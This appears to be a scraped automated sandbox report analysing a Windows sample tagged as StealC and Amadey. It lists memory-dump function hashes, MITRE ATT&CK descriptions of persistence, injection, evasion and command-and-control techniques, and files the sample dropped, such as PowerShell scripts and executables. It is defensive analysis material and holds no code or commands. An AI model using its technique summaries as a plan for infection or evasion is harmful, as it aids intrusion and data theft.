Opcode Fuzzy Hash: 45f6c11ad9355f3ee8857fcc5583125d288e129f9f0f319878cfa3bfa893bb40
Instruction Fuzzy Hash: 66527830B00218CFDB25DB68D854B6EBBB3BF89704F118199E9499B394DB35AD81CF52

Function 025F7AA0 Relevance: .5, Instructions: 472COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124067714.00000000025F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_25f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e92eb71ef92894ebebf3d30a60be3e926d530cf5c62eb3e04a22b4e7d207ff03
Instruction ID: 5a4e5b8e0cbd460c641bf1b9e1dd02ee053606cd70b0fb22713dd39188f3cb42
Opcode Fuzzy Hash: e92eb71ef92894ebebf3d30a60be3e926d530cf5c62eb3e04a22b4e7d207ff03
Instruction Fuzzy Hash: 52517C30A003188FDB14DF68D850BAEBBB2BF89700F1141AAEA459F395DB71AD41CF95

Function 025F6F00 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124067714.00000000025F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_25f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a58a3b9d27532758dc465188fc89e8d07823a00812be4f2ae469971385b9198e
Instruction ID: b87a1363311c33f356af7283c99f4ae0c7f4ca76d74455ac4bce13c7295392b4
Opcode Fuzzy Hash: a58a3b9d27532758dc465188fc89e8d07823a00812be4f2ae469971385b9198e
Instruction Fuzzy Hash: 3FA18B34A012049FCB55CFA8D8809AEFBF6FF89314F1584A9E505AB362C735ED46CB64

Function 025F2A00 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124067714.00000000025F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_25f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7af80dc97710f2b521847c3e70d243807b8ae1e5a85dac1ad5280fee8791e361
Instruction ID: 9ee571b6d43914cf0c1c979fc103e6893489c26c3323cc8185cbff91182f8858
Opcode Fuzzy Hash: 7af80dc97710f2b521847c3e70d243807b8ae1e5a85dac1ad5280fee8791e361
Instruction Fuzzy Hash: BD91AE70A002099FCB05CF58C8D4AAAFBB1FF88310F25859AD955EB7A1C735EC51CBA4

Function 025F2B10 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124067714.00000000025F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_25f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 064caee014a281fca4f3b1636134cad8a1af159251e0c5afff17769bd70febad
Instruction ID: 48c04e9dc2d7cf93639ce98ac880b9cde6947bf410606472642a22186883a35d
Opcode Fuzzy Hash: 064caee014a281fca4f3b1636134cad8a1af159251e0c5afff17769bd70febad
Instruction Fuzzy Hash: AA4118B4A006059FCB05CF58C4D4AAAFBB1FF88714F1181A9D915AB764C736FC50CBA4

Function 024DD005 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2123390684.00000000024DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 024DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_24dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23778cc0ce9f96c1a07ce3886a6e2fd947a2f2dd7e9217d655461683f1a65e9b
Instruction ID: b77776dd56cb66349d898e7b72a3f47ed2f1eb9803468046a5e4d7a8a91bbe88
Opcode Fuzzy Hash: 23778cc0ce9f96c1a07ce3886a6e2fd947a2f2dd7e9217d655461683f1a65e9b
Instruction Fuzzy Hash: E2012D6240D3C49FD7134B259994752BFB4DF43228F5981DBE9888F293C2695C45CB72

Function 024DD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2123390684.00000000024DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 024DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_24dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29da8c4e40b6505fb71f6294fd5f1b69caf8e336d8d27fd1ee3e6700de08414e
Instruction ID: e2f54bf7b0d8e801e51c5bbd5ed18c842d140eb23d5c383dfb5e88a8ce7584af
Opcode Fuzzy Hash: 29da8c4e40b6505fb71f6294fd5f1b69caf8e336d8d27fd1ee3e6700de08414e
Instruction Fuzzy Hash: 9D01F772804304DBE7215A15CCC0B67BF98DFC1629F58C11BED084B242C7789846CFB1

Function 025F87B1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124067714.00000000025F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_25f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 102b5b400b430ad2e11fcfcf6d4b5d4e918156b82ec6f0b10993466d504f3c83
Instruction ID: 6c947348d0ec63e4fe04d24090f45c4e5326ec51988ce9e7c26003d43ff8e621
Opcode Fuzzy Hash: 102b5b400b430ad2e11fcfcf6d4b5d4e918156b82ec6f0b10993466d504f3c83
Instruction Fuzzy Hash: 1101F231B09254DFDB516BA4A80A36CBF72FB86714F0400E7D6199B287CB374901CF66

Function 025F87E0 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124067714.00000000025F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_25f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 087fd6113cad22b750a98ffafc8fb2e4940c9f2b0fa43d4afd5452f016ae0b92
Instruction ID: fcc46864967aeee3a755fb8bcc128330d7eead0aa97f717753561ebd09edc76a
Opcode Fuzzy Hash: 087fd6113cad22b750a98ffafc8fb2e4940c9f2b0fa43d4afd5452f016ae0b92
Instruction Fuzzy Hash: 42E03975D1421A9F8F84DFA899161AEBFB0EB08201B1084BE8A19E7340E23446028F98

Function 025F87F0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124067714.00000000025F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_25f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5323f3322ad7193f0465bb11a82a9303d80db2089ae3b0324bb96f7710a260fd
Instruction ID: 36b11ce8b56479b57c477e5e33c3f08f95a03be4f82b9dd56ba541593c0edbd9
Opcode Fuzzy Hash: 5323f3322ad7193f0465bb11a82a9303d80db2089ae3b0324bb96f7710a260fd
Instruction Fuzzy Hash: 68E0B6B4D0420E9F8F88EFB995411BEFBF4AB48300F0089AE9919E3340E63446018F95

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\1000026002\cee706a53f.exe

C:\Users\user\1000032042\ko.ps1

C:\Users\user\1000033142\so.ps1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\ko[1].ps1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\so[1].ps1

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_01cvxrcc.42a.ps1

Windows Analysis Report
file.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre